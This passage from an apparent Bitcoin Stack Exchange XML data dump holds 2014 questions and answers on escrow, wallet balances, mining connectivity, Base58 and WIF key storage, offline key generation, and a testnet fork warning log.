both Alice and Bob enter into a escrow transaction where the 100$ deposited by Alice in stage B are pledged into the escrow. After successful closure of the transaction, 90$ are given to Bob, say 2$ is earned by the platform for facilitating this trade and remaining 8% get refunded back to alice. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now the question is how can we implement this using bitcoins &amp;amp; smart contracts. &lt;/p&gt;&#xA;" OwnerUserId="18887" LastActivityDate="2014-08-27T11:27:37.287" Title="can we create subjective trading platform using bitcoin and smart contract where payments are taken in stages?" Tags="|wallet|wallet.dat|escrow|contracts|open-transactions|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30230" PostTypeId="1" CreationDate="2014-08-27T11:40:01.123" Score="2" ViewCount="125" Body="&lt;p&gt;Say for example I run an ecommerce website which mandates users to have a minimum balance of 1 bitcoin in their wallets to access the platform. In the event the balance in his wallet falls below 1 bitcoin he should not be able to access the platform and he should see a message on his screen saying &lt;em&gt;&quot;Please load to minimum balance&quot;&lt;/em&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, the question is, can I, or the Bitcoin wallet provider I use, read the bitcoin balance of the users so as to fulfil the above business requirement? &lt;/p&gt;&#xA;" OwnerUserId="18887" LastEditorUserId="5406" LastEditDate="2014-08-29T10:14:07.260" LastActivityDate="2014-11-27T16:54:25.047" Title="Can the service providing the bitcoin wallet know how much value has the user loaded into his wallet?" Tags="|wallet|balance|ecommerce|" AnswerCount="3" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="30231" PostTypeId="2" ParentId="30230" CreationDate="2014-08-27T11:45:49.697" Score="0" Body="&lt;p&gt;The service provider can know the balance of the wallet, if the wallet is &quot;hosted&quot; one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The service provider must know all the addresses associated with the wallet (this is pretty much the definition of a Bitcoin wallet in the first place). However, you do not need to know private keys needed to send out Bitcoins from the wallet, you can have &quot;read-only&quot; knowledge about the wallet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However from your service it sounds like you are already using hosted wallets, so finding out the balance of the wallet should be just summing up unspent balance on the public addresses of the user wallet.&lt;/p&gt;&#xA;" OwnerUserId="5464" LastActivityDate="2014-08-27T11:45:49.697" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30232" PostTypeId="2" ParentId="30230" CreationDate="2014-08-27T11:50:42.113" Score="2" Body="&lt;p&gt;All Bitcoin transactions are publicly available. This is fundamentally why Bitcoin can work as a truly decentralized currency. Bitcoin is different from the traditional banking system specifically because anybody can see and validate everyone's transactions. If only a few could access the information about people's balance, then it wouldn't be fully decentralized, it would be just like traditional banking.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So yes, you can calculate the balance of &lt;em&gt;any&lt;/em&gt; Bitcoin address in the network.&lt;/p&gt;&#xA;" OwnerUserId="8717" LastActivityDate="2014-08-27T11:50:42.113" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="30233" PostTypeId="1" AcceptedAnswerId="30234" CreationDate="2014-08-27T13:11:33.467" Score="1" ViewCount="966" Body="&lt;p&gt;it could be a basic question for you guys, but i'm new in this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;is it necessary to stay connected to internet while doing solo-mining ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;is there any method to keep mining without permanent internet connection (i mean offline mining)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thatnk's&lt;/p&gt;&#xA;" OwnerUserId="19142" LastEditorUserId="5406" LastEditDate="2016-03-31T16:21:33.570" LastActivityDate="2016-03-31T16:21:33.570" Title="is it necessary to stay connected to internet" Tags="|solo-mining|miner-configuration|offline|" AnswerCount="2" CommentCount="0" ClosedDate="2014-08-28T08:35:31.790" ContentLicense="CC BY-SA 3.0" />
  <row Id="30234" PostTypeId="2" ParentId="30233" CreationDate="2014-08-27T13:24:51.197" Score="5" Body="&lt;p&gt;You need to be online because mining is sort of like a mathematical race: whoever finds the hash of the next block (with value less than the current target) wins. And in order to prove that you found this value before anybody else, you need to be online in order to broadcast it to other users.&lt;/p&gt;&#xA;" OwnerUserId="8717" LastEditorUserId="5292" LastEditDate="2014-08-28T08:17:23.333" LastActivityDate="2014-08-28T08:17:23.333" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30235" PostTypeId="2" ParentId="30233" CreationDate="2014-08-27T13:24:59.053" Score="3" Body="&lt;p&gt;In order to be able to calculate the nonce for the next block you need all the information  from the last known block. The time between the blocks is 10 minutes in average, so if you stay offline for more that 10 minutes you will not be able to perform any valid calculations and essentially you will be in a solo, forking mode, solving the wrong block.&lt;/p&gt;&#xA;" OwnerDisplayName="user11221" LastActivityDate="2014-08-27T13:24:59.053" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30236" PostTypeId="1" CreationDate="2014-08-27T14:16:39.203" Score="0" ViewCount="79" Body="&lt;p&gt;Is there JavaScript which will do this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would generate a 256 bit password using 99 dice throws, enter it into JavaScript on an offline computer (like using bitaddress.org) and get an address to send Bitcoin to, so that I can store them cold.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I don’t want, as would be done in bitaddress.org, is for my private key to be shown on the screen in case there is screenshot malware on the computer. (N.B. I can defeat key-logging by scrambling the entry of the dice throws using a mouse).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I wish to transfer the Bitcoin to, say, a Blockchain account, I can go to an offline computer, generate the private key from the password using bitaddress.org and then on another computer which is online carry out the transfer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The procedure seems pretty safe to me.&lt;/p&gt;&#xA;" OwnerUserId="13433" LastActivityDate="2014-08-27T23:35:05.030" Title="Can I create a public address for Bitcoin without the private address appearing on the screen?" Tags="|java|malware|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30237" PostTypeId="1" CreationDate="2014-08-27T15:05:50.640" Score="2" ViewCount="1082" Body="&lt;p&gt;Recently I have seen a few online stores starting to accept bitcoin as a payment method, but I can't think of a reason why I would ever want to pay in bitcoins. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since I get paid in GBP then I would need to convert that into bitcoins somehow. Most likely by buying them from an exchange. Surely this just creates an unnecessary step since I could just pay the merchant directly using the same method that I purchased the bitcoins from the exchange with. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even if you are worried about anonymity you could just send cash through the mail directly instead of first sending it to an exchange. I mean, ultimately you need to convert the currency you are paid your salary into bitcoins one way or another. Why not just use that method to send the money directly?&lt;/p&gt;&#xA;" OwnerUserId="19145" LastActivityDate="2014-09-04T08:33:43.833" Title="Why should I pay in bitcoin as opposed to traditional payment methods?" Tags="|payment|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="30238" PostTypeId="1" CreationDate="2014-08-27T16:08:21.640" Score="1" ViewCount="55" Body="&lt;p&gt;I do live in india.. I believe that bitcoin mining rig owners are very lessaound us ..I read some where that  we will be able to mine more bitcoins  while the west or far-east  sleeps.. &lt;/p&gt;&#xA;" OwnerUserId="19039" LastActivityDate="2014-08-27T18:37:31.757" Title="Any advantages in terms of our location &amp; East-West timing differences for self mining on a 100 th/s btc rig" Tags="|performance|time|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30239" PostTypeId="2" ParentId="30118" CreationDate="2014-08-27T17:07:54.583" Score="1" Body="&lt;p&gt;&lt;strong&gt;Another solution might be to rebalance during the regular use of the addresses:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Whenever one of the addresses is selected to spend from, check whether an above average balance would remain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If that is the case, additionally to the planned transaction, redistribute the &lt;em&gt;excess&lt;/em&gt; to underfunded addresses, where &lt;code&gt;excess = remainder - average_balance&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could pick recipient addresses for the redistribution by performing a greedy algorithm such as for example a knapsack problem solver, optimizing for minimal sum of squared distances from the average over all addresses. You could restrain the number of recipient addresses by only allowing an additional recipient address if all previous recipient addresses will be raised to the average.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastActivityDate="2014-08-27T17:07:54.583" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30240" PostTypeId="2" ParentId="30238" CreationDate="2014-08-27T18:37:31.757" Score="1" Body="&lt;p&gt;What you read is not accurate.  There is no significant difference in mining performance depending on your location.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First of all, as far as I know, the vast majority of miners run their equipment 24 hours a day (since leaving them idle just wastes the investment in hardware), so time zone differences are irrelevant.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, to first order, your chances of mining a Bitcoin block depend only on your hash rate and the network difficulty; it makes no difference what other miners are doing at that moment.  So even if the rest of the world quit mining completely for several hours, it wouldn't help you at all.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course, the network difficulty is determined indirectly by how much mining is being done around the world, but the difficulty is adjusted only once every 14 days or so (2016 blocks), so variations over the course of a day would average out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is actually a very slight disadvantage in being in a part of the world that has relatively few miners.  Suppose, for example, that most miners are in New York and a few are in Bombay.  If New York-based Miner A finds a block (say at height 12345) and announces it on the network, New York miners will know about it quickly, while it will take a few tens or hundreds of milliseconds to propagate across the Internet to Bombay.  During this short time, Bombay miners are at a disadvantage.  If Miner B in New York and Miner C in Bombay both find blocks during this window, B's will be linked back to A's block, whereas C's will be linked to the block before A's.  Thus B's block is part of the longer chain and will be accepted by the network, while C's will be orphaned.     But since this window would be less than a second for each block, which happens roughly every 10 minutes (600 seconds) on average, the disadavantage is at most a couple tenths of a percent.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The most important way that your location would impact your mining profitability is your local cost for electricity.&lt;/p&gt;&#xA;" OwnerUserId="5757" LastActivityDate="2014-08-27T18:37:31.757" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30242" PostTypeId="1" CreationDate="2014-08-27T22:56:05.640" Score="2" ViewCount="791" Body="&lt;p&gt;I want to use PHP to write a script to buy bitcoins and my bitcoin balance will be updated immediately (i'm NOT in US).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, I use my credit cart to purchase bitcoins. less than 1 min later, I can see my new bitcoins in my address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As I know, normally, it will take few hours / days to get bitcoin from some bitcoin sellers. It is not safe to get bitcoin immediately because banks allow charge back.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So is there a safe, automatic and immediate way to get / buy bitcoins?&lt;/p&gt;&#xA;" OwnerUserId="12996" LastActivityDate="2017-07-20T13:37:02.340" Title="Is there a way to buy bitcoin immediately?" Tags="|buy-bitcoins|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30243" PostTypeId="2" ParentId="30236" CreationDate="2014-08-27T23:35:05.030" Score="1" Body="&lt;p&gt;If you're afraid of screen grabbing you should also be afraid of memory grabbing malware.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If however you make sure that such malware can never communicate anything to the outside world then you don't have to worry about either of those types of malware.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can do that by booting from a write protected media (CD) and making sure there is no other writable media ( harddisk) connected. Also of course make sure the machine is offline (no network cable or WiFi etc).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After generating the private key write it down (error sensitive!) or print it (not on the big printer in the office, those often have harddisks in them). And after that turn off the computer to erase the memory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even in this setup you still don't want malware on the PC because it could influence the creation of the private key by making it predictable.&lt;/p&gt;&#xA;" OwnerUserId="5292" LastActivityDate="2014-08-27T23:35:05.030" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30244" PostTypeId="2" ParentId="30242" CreationDate="2014-08-28T05:06:02.670" Score="0" Body="&lt;p&gt;As far as I know there's no such service. PayPal offers an API so payments can be detected automatically, but mostly nobody sells Bitcoin via PayPal because it's not worth the risk (chargebacks can happen months after the purchase, for example).&lt;/p&gt;&#xA;" OwnerUserId="3919" LastActivityDate="2014-08-28T05:06:02.670" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="30245" PostTypeId="2" ParentId="30242" CreationDate="2014-08-28T06:11:34.477" Score="2" Body="&lt;p&gt;Coinbase offers instant buys, you need to enter your credit card info and go through the verification process, but it takes less than a minute to update my balance.  The max amount for instant buy/sell is 1000usd/day.&lt;/p&gt;&#xA;" OwnerUserId="19149" LastActivityDate="2014-08-28T06:11:34.477" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="30246" PostTypeId="1" AcceptedAnswerId="34115" CreationDate="2014-08-28T06:54:13.130" Score="1" ViewCount="520" Body="&lt;p&gt;what are BTR points in Bter exchange? Can we convert BTR into an alt-coin? If so, is there any fees they charge. How many times can I exercise this option for a particular month? &lt;/p&gt;&#xA;" OwnerUserId="18219" LastActivityDate="2014-12-19T20:47:25.773" Title="what are BTR points in Bter exchange" Tags="|bter|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30247" PostTypeId="1" CreationDate="2014-08-28T08:56:23.753" Score="1" ViewCount="576" Body="&lt;p&gt;It would be useful to know this because I have made a 64 character hex private key by hand and generated the address without storing the key in WIF format. I don’t want to go online, input the hex key and have it rejected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course I could try it out with a small amount in a sloppy wallet, but it would be easier for someone to tell me.&lt;/p&gt;&#xA;" OwnerUserId="13433" LastEditorUserId="13433" LastEditDate="2014-08-28T09:35:25.500" LastActivityDate="2014-08-28T09:35:25.500" Title="When you sweep a private key at Blockchain can you sweep the key in HEX format?" Tags="|blockchain.info|private-key|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="30248" PostTypeId="1" AcceptedAnswerId="30249" CreationDate="2014-08-28T10:10:16.310" Score="1" ViewCount="2247" Body="&lt;p&gt;I read around about the differences between time, blocktime and timereceived, but one question remains. Although I assume all times are UTC, I haven't seen that mentioning specifically anywhere.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anybody know which timezone the times in the bitcoin blockchain are formatted in? And does this also account for timereceived, or is that local?&lt;/p&gt;&#xA;" OwnerUserId="11136" LastActivityDate="2014-08-28T10:33:23.483" Title="Are time, timereceived and blocktime in UTC?" Tags="|transactions|time|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30249" PostTypeId="2" ParentId="30248" CreationDate="2014-08-28T10:33:23.483" Score="5" Body="&lt;p&gt;All timestamps are in UNIX format, that is: the number of seconds since januari 1st 1970, 0:00 UTC.&lt;/p&gt;&#xA;" OwnerUserId="208" LastActivityDate="2014-08-28T10:33:23.483" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30250" PostTypeId="1" CreationDate="2014-08-28T12:00:25.943" Score="3" ViewCount="494" Body="&lt;p&gt;I know that a large number of key pairs in wallet.dat is not a concern. But is having too many transactions in wallet.dat an issue?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can Bitcoin Core start crashing after it reaches a certain number of transactions? Say over 100K?&lt;/p&gt;&#xA;" OwnerUserId="15501" LastActivityDate="2015-05-06T05:10:38.663" Title="Maximum number of transactions in wallet.dat for Bitcoin Core" Tags="|bitcoind|bitcoin-core|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="30251" PostTypeId="1" CreationDate="2014-08-28T12:05:00.487" Score="1" ViewCount="250" Body="&lt;p&gt;If this is true, when I make a 64 character hexadecimal private key I need only provide randomness for the first 40 characters (40 x 4 bits per character = 160). The remaining 24 characters can be zeros.&lt;/p&gt;&#xA;" OwnerUserId="13433" LastActivityDate="2014-08-29T19:35:57.177" Title="Is it correct that more than 160 bits of input data for producing a private key are superfluous?" Tags="|private-key|random|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="30253" PostTypeId="2" ParentId="30168" CreationDate="2014-08-28T20:08:48.093" Score="0" Body="&lt;p&gt;If you use Coinbase your friend can send you money to a bitcoin address or an email address without exposing your balance.&lt;/p&gt;&#xA;" OwnerUserId="841" LastActivityDate="2014-08-28T20:08:48.093" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30254" PostTypeId="2" ParentId="30171" CreationDate="2014-08-28T20:41:18.133" Score="0" Body="&lt;p&gt;Well I know that Wallet32 on android is compatible with trezor and they both use BIP32. Darkwallet is another along with Electrum. Armory is another. GreenAddress.it. That's all I know.&lt;/p&gt;&#xA;" OwnerDisplayName="user15026" LastActivityDate="2014-08-28T20:41:18.133" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30256" PostTypeId="2" ParentId="9244" CreationDate="2014-08-29T03:20:44.343" Score="1" Body="&lt;p&gt;You're basically wondering how Base58 encoding works. &lt;a href=&quot;https://en.bitcoin.it/wiki/Base58Check_encoding&quot; rel=&quot;nofollow&quot;&gt;This site&lt;/a&gt; gives a good overview but I will list the details here as well with a more concrete example. For this example, I'll just talk about the encoding, but the version byte (prepended) and checksum bytes (appended) do get added before this encoding is done. This prepending/appending just changes the base data before encoding. The below is how the data gets encoded.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let's say I have this simple encoding called Base4 encoding. In my encoding:&#xA;&lt;pre&gt;&#xA;  0-&gt;A&#xA;  1-&gt;B&#xA;  2-&gt;C&#xA;  3-&gt;D&#xA;&lt;/pre&gt;&#xA;If I have the number 134 (1000 0110 or 0x86) and I want to encode it in Base4, then what I do is repeatedly divide by 4 and use the encoding. Like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;134 / 4 = 33 remainder 2 -&gt; C&#xA;          /&#xA;   -------&#xA;  |&#xA; 33 / 4 =  8 remainder 1 -&gt; B&#xA;          /&#xA;   -------&#xA;  |&#xA;  8 / 4 =  2 remainder 0 -&gt; A&#xA;          /&#xA;   -------&#xA;  |&#xA;  2 / 4 =  0 remainder 2 -&gt; C&#xA;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So the Base4 encoding for this byte would be &quot;CABC&quot;. Bitcoin does the same thing, but using 58 numbers instead of 4, and a different character for each. The characters chosen in the Base58 encoding are just to avoid confusion when humans transpose the key. For example, there is no I character, because there is already a 1 character, and the two could be confused really easily.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's just one more thing that's a little tricky. If I were encoding the data 0x0086, I might want the encoding to be slightly different than the above encoding for 0x86 to show that I had an extra 0x00 byte at the beginning. To do this, all you do is add extra data at the left side of the encoding. So, in our Base4, 0x0086 is encoded as ACABC. Similarly 0x0000 0086 is encoded as AAACABC. In standard bitcoin addresses, the version byte prefix is 0x00, and 0x00 is encoded as a 1, so addresses always start with a 1.&lt;/p&gt;&#xA;" OwnerUserId="18196" LastEditorUserId="18196" LastEditDate="2015-03-30T18:23:11.027" LastActivityDate="2015-03-30T18:23:11.027" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="30257" PostTypeId="1" CreationDate="2014-08-29T03:21:15.423" Score="1" ViewCount="2212" Body="&lt;p&gt;I'd like to implement a very simple address monitoring feature on a site I'm working on. I'd like to just be able to say &quot;Listen to this address on the testnet for money to come in&quot;, and update the HTML on the page when BTC comes in. I realize Blockchain.info provides a websocket for precisely this, but doesn't provide it for use on testnet3. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm sure I'm overlooking something obvious. Any help is greatly appreciated.&lt;/p&gt;&#xA;" OwnerUserId="19163" LastEditorUserId="5464" LastEditDate="2014-09-10T10:25:19.757" LastActivityDate="2014-09-10T10:25:19.757" Title="Get a JavaScript notification when Bitcoin transaction arrives to a certain address" Tags="|transactions|blockchain.info|javascript|websockets|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30258" PostTypeId="1" AcceptedAnswerId="30263" CreationDate="2014-08-29T03:54:02.553" Score="0" ViewCount="1407" Body="&lt;p&gt;I'm writing an Android app which will be storing private keys for Bitcoin and a few Altcoins in an SQLite database. To store my private keys, I was initially using the WIF. When I take them out of the database, however, I just Base58 decode them back into the 32 byte private key. Is there any real advantage to using the Base58 format for &lt;strong&gt;storing&lt;/strong&gt; the keys in WIF vs basic hex encoding (0x12 to &quot;12&quot;)? I know the WIF is useful for human transposition, but I'm specifically wondering about storage here. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So far, what I've come up with is that the Base58 format:&#xA;&lt;ol&gt;&#xA;&lt;li&gt; Takes slightly less space &lt;/li&gt;&#xA;&lt;li&gt; Tells me what coin type the address is used for &lt;/li&gt;&#xA;&lt;li&gt; Has error checking &lt;/li&gt;&#xA;&lt;li&gt; Tells whether the private key is used for a compressed or decompressed address. &lt;/li&gt;&#xA;&lt;/ol&gt; &#xA;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&#xA;Items 2-4, however, are things that I could get from other entries in my SQLite database, so they're not critical. &lt;strong&gt;How does the Bitcoin-QT client store its private keys?&lt;/strong&gt; I know when it dumps them to the user it gives them in WIF, but I'm wondering what it does internally to save keys on the machine and if I should do it the same way.&#xA;&lt;/p&gt;&#xA;" OwnerUserId="18196" LastEditorUserId="2306" LastEditDate="2015-03-13T14:42:23.527" LastActivityDate="2015-03-13T14:42:23.527" Title="WIF Format and Storing Private Keys" Tags="|wallet-import-format|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30260" PostTypeId="2" ParentId="30257" CreationDate="2014-08-29T07:50:26.840" Score="1" Body="&lt;p&gt;Usually you do this on the wallet service you are using. They provide server-to-server notification callbacks when the address receives transactions. Then you parse this transaction  and let your on server to notify JavaScript clients.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt;: SoChain offers no-authentication, WebSockets, API to monitor Bitcoin addresses in real-time. You can use this on cliet-side JavaScript directly: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://chain.so/api#realtime-balance-updates&quot; rel=&quot;nofollow&quot;&gt;https://chain.so/api#realtime-balance-updates&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't know if any pure client-side JavaScript APIs exist with notification feature - you always need to set up webhooks to some server, or be directly connected to bitcoind.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also there is the issue of confirmation level - when you consider the transaction to be received, how many confirmations you demand for it. You'll usually end up getting several notifications per each new confirmation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have done this in my open source project &lt;a href=&quot;https://libertymusicstore.net&quot; rel=&quot;nofollow&quot;&gt;Liberty Music Store&lt;/a&gt; using blockchain.info.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/miohtama/LibertyMusicStore/blob/master/tatianastore/blockchain.py#L110&quot; rel=&quot;nofollow&quot;&gt;For inspiration, see the relevant blockchain.info webhook code&lt;/a&gt; which then forwards this information to JavaScript through Redis pub-sub listener pattern (though in this case it does using HTTP long poll instead of WebSockets for Android 2.3 compatibility):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/miohtama/LibertyMusicStore/blob/master/tatianastore/blockchain.py#L110&quot; rel=&quot;nofollow&quot;&gt;https://github.com/miohtama/LibertyMusicStore/blob/master/tatianastore/blockchain.py#L110&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/miohtama/LibertyMusicStore/blob/master/tatianastore/static/main.js#L102&quot; rel=&quot;nofollow&quot;&gt;https://github.com/miohtama/LibertyMusicStore/blob/master/tatianastore/static/main.js#L102&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/miohtama/LibertyMusicStore/blob/master/tatianastore/signals.py#L28&quot; rel=&quot;nofollow&quot;&gt;https://github.com/miohtama/LibertyMusicStore/blob/master/tatianastore/signals.py#L28&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/miohtama/LibertyMusicStore/blob/master/tatianastore/storefront.py#L253&quot; rel=&quot;nofollow&quot;&gt;https://github.com/miohtama/LibertyMusicStore/blob/master/tatianastore/storefront.py#L253&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5464" LastEditorUserId="5464" LastEditDate="2014-09-10T10:25:07.740" LastActivityDate="2014-09-10T10:25:07.740" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30261" PostTypeId="1" CreationDate="2014-08-29T08:51:13.293" Score="0" ViewCount="2385" Body="&lt;p&gt;I need help to unlock my passphrase. I don't remember setting up one, but now there is a pasphrase. Eitherway I am unable to send out coins from my LitecoinQt to the exchange.&lt;/p&gt;&#xA;" OwnerUserId="19165" LastEditorUserId="5406" LastEditDate="2014-09-05T12:34:39.757" LastActivityDate="2015-03-07T01:05:30.940" Title="Passphrase lost for my wallet.dat" Tags="|litecoin|wallet.dat|litecoin-qt|wallet-recovery|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="30262" PostTypeId="1" AcceptedAnswerId="30269" CreationDate="2014-08-29T09:55:18.020" Score="4" ViewCount="1776" Body="&lt;p&gt;My bitcoind client that runs on testnet has started returning a lot of errors today. It has been doing so for a few of hours (as of 2014-08-29 9:50 UTC).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I call it via RPC, I get the following response on ALL requests&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{&#xA;  &quot;result&quot;:null,&#xA;  &quot;error&quot;: {&#xA;    &quot;code&quot;:-2,&#xA;    &quot;message&quot;:&quot;Safe mode: Warning: The network does not appear to fully agree! Some miners appear to be experiencing issues.&quot;},&#xA;    &quot;id&quot;:&quot;1&quot;&#xA;  }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It doesn't seem to be downloading any new blocks. It seems that I'm not the only one who's affected. As of now, &lt;a href=&quot;http://tbtc.blockr.io/&quot; rel=&quot;nofollow&quot;&gt;http://tbtc.blockr.io/&lt;/a&gt; is also stuck on blocks that are almost 5 hours old.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The version of bitcoind I use is 0.9.2.1, and the debug log says:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;2014-08-29 05:11:59 ProcessBlock: ORPHAN BLOCK 0, prev=0000000000000e819b253066739275290fb4274b580bf62fbd279c518e6e2ebd&#xA;2014-08-29 05:11:59 ProcessBlock: ORPHAN BLOCK 1, prev=0000000000000e70d898fa12f328b9ee2d97912e9a495fc80eaeeb781096cadf&#xA;2014-08-29 05:11:59 ProcessBlock: ORPHAN BLOCK 2, prev=000000000000256194246bdabb62d3b50e2c309217258b17c543d13ec839367c&#xA;2014-08-29 05:12:00 CheckForkWarningConditions: Warning: Large valid fork found&#xA;  forking the chain at height 277766 (000000009cf297bc2a9610af823b49fc1d98e001239e99204c3c410e1ad3fe54)&#xA;  lasting to height 277767 (0000000000000e819b253066739275290fb4274b580bf62fbd279c518e6e2ebd).&#xA;Chain state database corruption likely.&#xA;2014-08-29 05:12:00 UpdateTip: new best=00000000735de11454d7de10a71a14e9695135f59b70a4eb906b1107df842270  height=277770  log2_work=61.959615  tx=2398741  date=2014-08-29 05:20:26 progress=1.000001&#xA;2014-08-29 05:12:00 UpdateTip: new best=00000000e9cc8d1bea3894d11cd4bacf4099dac3b644cb4f39b4ba3ad89ed2f8  height=277769  log2_work=61.959615  tx=2398732  date=2014-08-29 05:00:09 progress=0.999999&#xA;2014-08-29 05:12:00 UpdateTip: new best=00000000d553cd36cc43b3d1255ec395c05e1d4ad730178cd987e960931399ae  height=277768  log2_work=61.959615  tx=2398721  date=2014-08-29 04:39:40 progress=0.999997&#xA;2014-08-29 05:12:00 UpdateTip: new best=0000000000000f46520ca51be43443905945d2db5b513f35c2283c2d95a41077  height=277767  log2_work=61.959615  tx=2398683  date=2014-08-29 04:19:31 progress=0.999995&#xA;2014-08-29 05:12:00 UpdateTip: new best=000000009cf297bc2a9610af823b49fc1d98e001239e99204c3c410e1ad3fe54  height=277766  log2_work=61.959004  tx=2398667  date=2014-08-29 04:16:35 progress=0.999995&#xA;2014-08-29 05:12:00 UpdateTip: new best=0000000000000e819b253066739275290fb4274b580bf62fbd279c518e6e2ebd  height=277767  log2_work=61.959615  tx=2398670  date=2014-08-29 04:15:08 progress=0.999995&#xA;2014-08-29 05:12:00 UpdateTip: new best=0000000000000e70d898fa12f328b9ee2d97912e9a495fc80eaeeb781096cadf  height=277768  log2_work=61.960226  tx=2398674  date=2014-08-29 04:24:20 progress=0.999996&#xA;2014-08-29 05:12:00 CheckForkWarningConditions: Warning: Large valid fork found&#xA;  forking the chain at height 277766 (000000009cf297bc2a9610af823b49fc1d98e001239e99204c3c410e1ad3fe54)&#xA;  lasting to height 277767 (0000000000000e819b253066739275290fb4274b580bf62fbd279c518e6e2ebd).&#xA;Chain state database corruption likely.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What does this message mean? How is a fork of a single block a &quot;large valid fork&quot;? Why is this that this seems to completely freeze bitcoind? How can I fix it?&lt;/p&gt;&#xA;" OwnerUserId="12455" LastEditorUserId="12455" LastEditDate="2014-08-29T14:42:02.193" LastActivityDate="2014-08-29T14:43:20.463" Title="What does &quot;Safe mode: Warning: The network does not appear to fully agree! Some miners appear to be experiencing issues.&quot; 